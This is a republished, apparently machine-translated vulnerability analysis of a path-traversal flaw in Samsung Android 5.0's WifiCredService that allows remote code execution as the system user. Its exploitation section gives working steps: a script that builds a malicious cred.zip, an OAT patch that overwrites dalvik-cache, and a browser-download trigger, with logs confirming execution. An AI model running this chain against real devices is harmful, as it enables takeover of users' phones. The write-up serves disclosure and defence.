Remote code execution on the WifiCredService of the Samsung Android 5.0 Device

Source: Internet
Author: User
Tags samsung android

Remote code execution on the WifiCredService of the Samsung Android 5.0 Device

0x00 Abstract

This vulnerability was discovered by Google Project Zero and Quarkslab several months ago and was recently disclosed. This vulnerability can be triggered by browsing a website, downloading an email attachment, or using a third-party malicious program without any permissions. According to the current situation, this vulnerability can be remotely executed as a system user on all Samsung Android 5.0 devices.

0x01 vulnerability Overview

On a Samsung Android 5.0 device, a system process uses the inotify-based JAVA object FileObserver to monitor the Device directory/sdcard/Download. When a compressed package file starting with "cred" and suffixed with" .zip "is created in the preceding directory, the system will call a decompression routine to decompress the file in the/data/bundle/directory, after decompression, delete the compressed package from the/sdcard/Download/directory.

Unfortunately, the system does not verify the file name in the compressed package, which means that a file starting with ../will be decompressed to a directory other than/data/bundle. In this way, attackers can write arbitrary content to any directory with system privileges. Therefore, if we carefully construct a directory through the decompression routine and overwrite the files in the directory with the permission of the current system user, arbitrary code execution will inevitably occur.

If Google Chrome and other browsers Save the directory of the downloaded file or Gmail saves the attachment directory as/sdcard/Download/, this remote code execution vulnerability will occur.

0x02 attack scenarios

According to our research, this vulnerability can be exploited in the following scenarios:

Using any browser (including Google Chrome) to browse a webpage, download an attachment through Gmail, and install an Android app 0x03 with no permissions. How can I detect this vulnerability?

In order to quickly and easily detect this vulnerability, we are in the google open source project Android VTS (https://play.google.com/store/apps/details? Id = com. nowsecure. android. vts). A module is provided. In this way, Android VTS can be installed to detect vulnerabilities in devices.

Vulnerability Detection Effect

0x04 detail analysis

The following analysis is performed on Samsung Galaxy s6. hs20settings.apk is an application with a hole code. It registers a BroadcastReceiver named WifiHs20BroadcastReceiver, which is executed when the application is started, or in some WIFI events (such as android.net. wifi. STATE_CHANGE) is also executed.

Remember that the vulnerability code can be anywhere on the device. For example, on the Samsung Galaxy s5device, the leakage code is stored in secsettings.apk.

When BroadcastReceiver is triggered by the previously described event, the following code will be executed:

public void onReceive(Context context, Intent intent) {  [...]  String action = intent.getAction();  [...]  if("android.intent.action.BOOT_COMPLETED".equals(action)) {      serviceIntent = new Intent(context, WifiHs20UtilityService.class);      args = new Bundle();      args.putInt("com.android.settings.wifi.hs20.utility_action_type", 5003);      serviceIntent.putExtras(args);      context.startServiceAsUser(serviceIntent, UserHandle.CURRENT);  }  [...]}

Each time an event is received, an Intent is created to generate a WifiHs20UtilityService. In the constructor of the service, especially the onCreate () method, we can see the creation process of the new object WifiHs20CredFileObserver:

public void onCreate() {  super.onCreate();  Log.i("Hs20UtilService", "onCreate");  [...]  WifiHs20UtilityService.credFileObserver = new WifiHs20CredFileObserver(          this,          Environment.getExternalStorageDirectory().toString() + "/Download/"  );  WifiHs20UtilityService.credFileObserver.startWatching();  [...]}

WifiHs20CredFileObserver is defined as a subclass of FileObserver:

 class WifiHs20CredFileObserver extends FileObserver {

The FileObserver object is defined in [3] in the following Android document:

Monitors access and changes to files by any process. FileObserver is a summary class. The subclass must provide the event handle onEvent (int, String ). Each FileObserver instance monitors a file or directory. If a directory is monitored, all files and subdirectories in the directory are monitored.

Use the event mask to define changes or operations on files. The possible changes in the event mask and the actual situation of Event Callback are described based on the constant of the event type.

A common constructor must define a path and an event mask:

FileObserver(String path, int mask)

The constructor of WifiHs20CredFileObserver is as follows:

public WifiHs20CredFileObserver(WifiHs20UtilityService arg2, String path) {  WifiHs20UtilityService.this = arg2;  super(path, 0xFFF);  this.pathToWatch = path;}

In the code snippet above, FileObserver monitors all valid types of events in the/sdcard/Download/directory. In fact, the mask 0xFFF represents FileObserver. ALL_EVENTS. To understand the operation during event reception, we must take a look at the event function onEvent () in the override method in WifiHs20CredFileObserver ():

public void onEvent(int event, String fileName) {    WifiInfo wifiInfo;    Iterator i$;    String credInfo;    if(event == 8 && (fileName.startsWith("cred")) && ((fileName.endsWith(".conf")) || (fileName            .endsWith(".zip")))) {        Log.i("Hs20UtilService", "File CLOSE_WRITE [" + this.pathToWatch + fileName + "]" +                event);        if(fileName.endsWith(".conf")) {            try {                credInfo = this.readSdcard(this.pathToWatch + fileName);                if(credInfo == null) {                    return;                }                    new File(this.pathToWatch + fileName).delete();                i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();                while(i$.hasNext()) {                    WifiHs20Timer.access$500(i$.next()).cancel();                }                    WifiHs20UtilityService.this.expiryTimerList.clear();                WifiHs20UtilityService.this.mWifiManager.modifyPasspointCred(credInfo);                wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();                if(!wifiInfo.isCaptivePortal()) {                    return;                }                    if(wifiInfo.getNetworkId() == -1) {                    return;                }                    WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.                        mWifiManager.getConnectionInfo().getNetworkId(), null);            }            catch(Exception e) {                e.printStackTrace();            }                return;        }            if(fileName.endsWith(".zip")) {            String zipFile = this.pathToWatch + "/cred.zip";            String unzipLocation = "/data/bundle/";            if(!this.installPathExists()) {                return;            }                this.unzip(zipFile, unzipLocation);            new File(zipFile).delete();            credInfo = this.loadCred(unzipLocation);            if(credInfo == null) {                return;            }                i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();            while(i$.hasNext()) {                WifiHs20Timer.access$500(i$.next()).cancel();            }                WifiHs20UtilityService.this.expiryTimerList.clear();            Message msg = new Message();            Bundle b = new Bundle();            b.putString("cred", credInfo);            msg.obj = b;            msg.what = 42;            WifiHs20UtilityService.this.mWifiManager.callSECApi(msg);            wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();            if(!wifiInfo.isCaptivePortal()) {                return;            }                if(wifiInfo.getNetworkId() == -1) {                return;            }                WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.mWifiManager                    .getConnectionInfo().getNetworkId(), null);        }    }}

When an event of type 8 (FileObserver. CLOSE_WRITE) is received, check the file name. When the file name starts with "cred" and ends with ".zip" or ". conf", some processing is performed. In other cases, FileObserver will not handle the issue.

When monitored files are written to the monitored directory, two scenarios occur:

. Conf file:The service reads the file through readSdcard (), configures it through WifiManager. modifyPasspointCred (), and deletes the. conf file. . Zip file:Decompress the package and release it to/data/bundle.

We are only interested in the second scenario. When decompressing through the standard ZipInputStream class, it has a well-known problem [4], that is, if the file name is not verified, a file traversal vulnerability will occur. This vulnerability is similar to the Samsung keyboard update vulnerability reported by @ fuzion24 [5].

The following is the simplified unzip () function code. To facilitate viewing, the try/catch tag is deleted:

private void unzip(String _zipFile, String _location) {   FileInputStream fin = new FileInputStream(_zipFile);   ZipInputStream zin = new ZipInputStream(((InputStream)fin));     ZipEntry zentry;     /* check if we need to create some directories ... */   while(true) {     label_5:       zentry = zin.getNextEntry();       if(zentry == null) {           // exit       }            Log.v("Hs20UtilService", "Unzipping********** " + zentry.getName());       if(!zentry.isDirectory()) {           break;       }       /* if the directory does'nt exist, the _dirChecker will create it */       this._dirChecker(_location, zentry.getName());   }        FileOutputStream fout = new FileOutputStream(_location + zentry.getName());      int c;   for(c = zin.read(); c != -1; c = zin.read()) {       if(fout != null) {           fout.write(c);       }   }        if(zin != null) {     zin.closeEntry();   }        if(fout == null) {       goto label_45;   }        fout.close();label_45:   MimeTypeMap type = MimeTypeMap.getSingleton();   String fileName = new String(zentry.getName());   int i = fileName.lastIndexOf(46);   if(i <= 0) {     goto label_5;   }        String v2 = fileName.substring(i + 1);   Log.v("Hs20UtilService", "Ext" + v2);   Log.v("Hs20UtilService", "Mime Type" + type.getMimeTypeFromExtension(v2));   goto label_5;  } }

The code above shows that the file traversal problem is not verified. For this reason, if we write cred.zip into the/sdcard/Download/directory, WifiHs20CredFileObserver will automatically (when no user intervention is required) decompress the file to/data/bundle/directory and delete the. ZIP file. The file name in. Zip is not verified .. files starting with "/" will be decompressed to files other than "/data/bundle/", existing files will be overwritten, And the decompression operation is performed as a system user.

Now, let's think about how to execute code.

0x05 vulnerability attacks

First, we construct a zip file with any file name, which can be easily implemented using a python script:

from zipfile import ZipFile  with ZipFile("cred.zip", "w") as z:    z.writestr("../../path/filename", open("file", "rb").read())

Now, how can we execute code? When you have the ability to write arbitrary data anywhere as a system user, a classic practice is to overwrite dalvik-cache. Android 5.0 dalvikvm has been replaced by ART runtime. Like the ODEX file, the package manager calls dex2oat to generate the OAT file in the. apk and writes the file to the/data/dalvik-cache/directory with the. dex suffix. Therefore, we can still execute code in this way.

Unfortunately (depending on your own environment, or this may not be the case), it is very difficult to perform code execution by overwriting dalvik-cache. For the current ROM, the control of the dalvik-cach directory is in the root user, and SELinux [6] [7] has strict restrictions on write permissions.

Some old Samsung ROM, such as G900FXXU1BNL9 or G900FXXU1BOB7, do not have these SELinux [6] [7] restrictions. These device vulnerabilities are relatively easy to exploit. In the ROM of this device, although the dalvik-cache host is root, there are no rules that will prevent us from overwriting dalvik-cache. In this article, we will take these ROM as an example for vulnerability analysis, because the focus of this article is not to analyze how to execute code by overwriting methods other than dalvik-cache.

Now we have a ROM that can be attacked. We also need to find a target application (running as a system user) to rewrite its OAT file, we also need to carefully construct our own OAT files.

Finding a good Android target application is not easy. Remember the following three points:

The decompression routine is written in JAVA code, which is one byte and one byte during pressurization, which is very slow for large files. Overwriting the OAT file of a running application may cause the application to crash and will not be very stable :). How will you use this application for code execution?

In fact, we need to find a small OAT file, but it is almost impossible to overwrite it securely.

Here is a perfect choice:

shell@klte:/ $ ls -al /data/dalvik-cache/arm/system@app@[email protected]@classes.dex-rw-r--r-- system   u0_a31000   176560 2015-10-30 15:40 system@app@[email protected]@classes.dex

Observe the manifest file of this application and find that it has the ability to run automatically. It registers a BroadcastReceiver service and listens to the android. intent. action. BOOT_COMPLETED event to run automatically:

<manifest android:sharedUserId="android.uid.system" android:versionCode="1411172008" [...] xmlns:android="http://schemas.android.com/apk/res/android">    <application android:debuggable="false" android:icon="@2130837507" android:label="@2131230720" android:supportsRtl="true" android:theme="@2131296256">        [...]        <receiver android:exported="false" android:name="com.samsung.android.app.accesscontrol.AccessControlReceiver">            <intent-filter>                <action android:name="android.intent.action.BOOT_COMPLETED" />                <action android:name="com.samsung.android.app.accesscontrol.TOGGLE_MODE" />            </intent-filter>        </receiver>        [...]    </application></manifest>

Therefore, if we put our own code in the onReceive () method of the accesscontrolpolicer class, our code will be executed every time the device starts.

Let's verify it.

First, we need to obtain the original code of the AccessControl application:

> adb pull /system/app/AccessControl/arm/ .pull: building file list...pull: /system/app/AccessControl/arm/AccessControl.odex.xz -> ./AccessControl.odex.xzpull: /system/app/AccessControl/arm/AccessControl.odex.art.xz -> ./AccessControl.odex.art.xz2 files pulled. 0 files skipped.273 KB/s (72428 bytes in 0.258s)> lsAccessControl.odex.art.xz  AccessControl.odex.xz> xz -d *> file *AccessControl.odex:     ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, strippedAccessControl.odex.art: data

We have obtained the art elf (OAT) file, but we need to modify its dalvik bytecode. We can use oat2dex utility [8] to generate the corresponding dalvik bytecode:

> python oat2dex.py /tmp/art/AccessControl.odexProcessing '/tmp/art/AccessControl.odex'Found DEX signature at offset 0x2004Got DEX size: 0xe944Carving to: '/tmp/art/AccessControl.odex.0x2004.dex'> file *[...]AccessControl.odex.0x2004.dex: Dalvik dex file version 035[...]> baksmali AccessControl.odex.0x2004.dex -o smali

Then we patch accesscontrolpolicer to add our code to its onReceive () method:

> find smali/ -iname '*receiver*'smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali> vim smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali[...].method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V  .registers 10 +  # adding the following code:+  const-string v0, "sh4ka"+  const-string v1, "boom!"+  invoke-static {v0, v1}, Landroid/util/Log;->wtf(Ljava/lang/String;Ljava/lang/String;)I[...]> smali smali/ -o classes.dex

Using the modified DEX to recreate the art elf file (OAT) file, we need to use the dex2oat Command [9] Line:

> adb pull /system/app/AccessControl/AccessControl.apk .1462 KB/s (259095 bytes in 0.173s)> sudo chattr +i AccessControl.apk> cp AccessControl.apk Modded.apk> zip -q Modded.apk classes.dex> python -c 'print len("/system/app/AccessControl/AccessControl.apk")'43> python -c 'print 43-len("/data/local/tmp/Modded.apk")'17> mv Modded.apk Modded$(python -c 'print "1"*17').apk> lsAccessControl.apk  AccessControl.odex  AccessControl.odex.0x2004.dex  AccessControl.odex.art  classes.dex  Modded11111111111111111.apk  smali> adb push Modded11111111111111111.apk /data/local/tmp1144 KB/s (284328 bytes in 0.242s)> adb shell dex2oat --dex-file=/data/local/tmp/Modded11111111111111111.apk --oat-file=/data/local/tmp/modified.oat> adb pull /data/local/tmp/modified.oat .1208 KB/s (172464 bytes in 0.139s)> file modified.oatmodified.oat: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped> sed -i 's/\/data\/local\/tmp\/Modded11111111111111111.apk/\/system\/app\/AccessControl\/AccessControl.apk/g;' modified.oat

Finally, we can attack this vulnerability by creating a ZIP file:

> cat injectzip.pyimport sysfrom zipfile import ZipFile with ZipFile("cred.zip","w") as z:  z.writestr(sys.argv[1],open(sys.argv[2],"rb").read())> python injectzip.py ../../../../../../data/dalvik-cache/arm/system@app@[email protected]@classes.dex /tmp/art/modified.oat> zipinfo cred.zipArchive:  cred.zipZip file size: 172750 bytes, number of entries: 1?rw-------  2.0 unx   172464 b- stor 15-Nov-08 18:43 ../../../../../../data/dalvik-cache/arm/system@app@[email protected]@classes.dex1 file, 172464 bytes uncompressed, 172464 bytes compressed:  0.0%

There are many methods to trigger the vulnerability, such as accessing a webpage and forcing a browser to download a ZIP file:

<Script type = "text/javascript"> document. location = "/cred.zip"; </script>

To facilitate the test, we can use the adb command to send a file to/sdcard/Download /:

> adb push cred.zip /sdcard/Download/> adb logcat WifiCredService:V *:S--------- beginning of main--------- beginning of systemI/WifiCredService( 4599): File CLOSE_WRITE [/storage/emulated/0/Download/cred.zip]8V/WifiCredService( 4599): Unzipping********** ../../../../../../data/dalvik-cache/arm/system@app@[email protected]@classes.dexV/WifiCredService( 4599): ExtdexV/WifiCredService( 4599): Mime Typenull

After the next restart, the following information will be displayed:

> adb reboot; adb logcat sh4ka:V *:S- waiting for device ---------- beginning of system--------- beginning of mainF/sh4ka   ( 3613): boom!

The above process proves that we can perform code execution by overwriting dalvik-cache. Of course, this method is not perfect, because we have to work hard to construct OAT files on unfavorable devices or ROM. Multiple steps are required to test the vulnerability. First, let the device run as a low-Permission user, and focus on Stability (for example, do not overwrite the dalvik-cache file ). Then we access the system as a low-Permission user and use the dex2oat tool on the device to create a compatible OAT file for AccessControl.apk, finally, create a ZIP file containing your own OAT file name similar to cred?something=.zip on the SDCard, overwrite dalvik-cache, and execute the Code with the system permission.

0x06 Summary

As you can see in this article, OEM customization is still the weakest link in Android security. When your smartphone gives you a chance to get a 100% stable exploit with a logic vulnerability, you will be willing to bypass the sandbox or defeat the system protection mechanism (ASLR/canary /...) to obtain this stable exploit?

The root cause of this vulnerability is that the file name is not verified during ZipInputStream decompression. Of course, there may be some verifications in the future .............

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.